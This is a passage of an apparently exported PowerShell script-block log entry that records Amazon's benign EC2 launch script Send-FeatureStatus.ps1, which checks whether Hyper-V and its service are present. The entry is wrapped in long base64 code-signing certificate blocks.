# A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s
# 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF
# i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0
# IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA
# DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB
# AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV
# HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI
# A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud
# JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz
# LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5
# NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx
# Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6
# Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB
# BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0
# cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp
# Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq
# hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ
# 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd
# 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk
# S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH
# eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5
# vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR
# LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW
# /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O
# gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy
# +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M
# QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx
# ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI
# AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB
# BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B
# CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN
# AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x
# aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR
# UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI
# zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO
# 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR
# bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc
# XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq
# j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju
# lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC
# oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw
# ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi
# E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx
# ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI
# hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
# MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB
# MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z
# MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG
# SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN
# lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe
# AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs
# Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD
# gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8
# H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4
# MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK
# BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB
# FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+
# Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG
# A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz
# c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh
# Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho
# dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl
# cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp
# bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR
# dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo
# 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt
# kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ
# 2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK
# DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx
# MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ
# BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
# aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD
# QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT
# MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
# b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp
# bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p
# uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I
# 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6
# Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU
# xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY
# D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd
# rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX
# NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw
# BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI
# KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j
# b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp
# Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6
# Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww
# OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ
# RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH
# AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G
# CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC
# /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C
# JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv
# KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF
# IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh
# fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw
# cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ
# d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk
# IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME
# AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF
# MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR
# vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn
# KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD
# B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3
# PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm
# lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9
# gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG
# 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk
# d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK
# HFQ/8DlNhx2lScs=
# SIG # End signature block
a20e07de-9346-48da-8f42-f484ae05462fC:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1",,4104,120611,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1",,,"'5652'",,,,,,120611,,,,"a20e07de-9346-48da-8f42-f484ae05462f","# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the ""License"").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the ""license"" file accompanying this file. This file is distributed
# on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Send-FeatureStatus sends feature installation and corresponding service status to the console.
-------------------------------------------------------------------------------------------------------------#>
function Send-FeatureStatus
{
Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant
try
{
$windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" })
$featureName = """"
foreach ($feature in $windowsFeatures)
{
$featureName = $feature.FeatureName
$featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue""
if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED)
{
Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole
$srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status
if ($srvStatus)
{
Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole
}
else
{
Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole
}
}
}
}
catch
{
Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole
}
}
# SIG # Begin signature block
# MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw
# KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P
# AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC
# hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v
# dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED
# MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql
# +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF
# UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h
# mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw
# YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld
# AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw
# 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP
# LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE
# QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn
# KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji
# WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq
# yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G
# CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz
# MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr
# BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV
# BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw
# DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ
# bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl
# cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ
# u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W
# JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU
# faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J
# A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s
# 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF
# i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0
# IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA
# DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB
# AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV
# HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI
# A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud
# JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz
# LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5
# NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx
# Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6
# Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB
# BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0
# cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp
# Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq
# hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ
# 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd
# 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk
# S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH
# eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5
# vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR
# LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW
# /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O
# gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy
# +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M
# QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx
# ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI
# AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB
# BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B
# CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN
# AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x
# aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR
# UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI
# zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO
# 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR
# bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc
# XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq
# j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju
# lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC
# oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw
# ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi
# E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx
# ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI
# hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
# MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB
# MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z
# MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
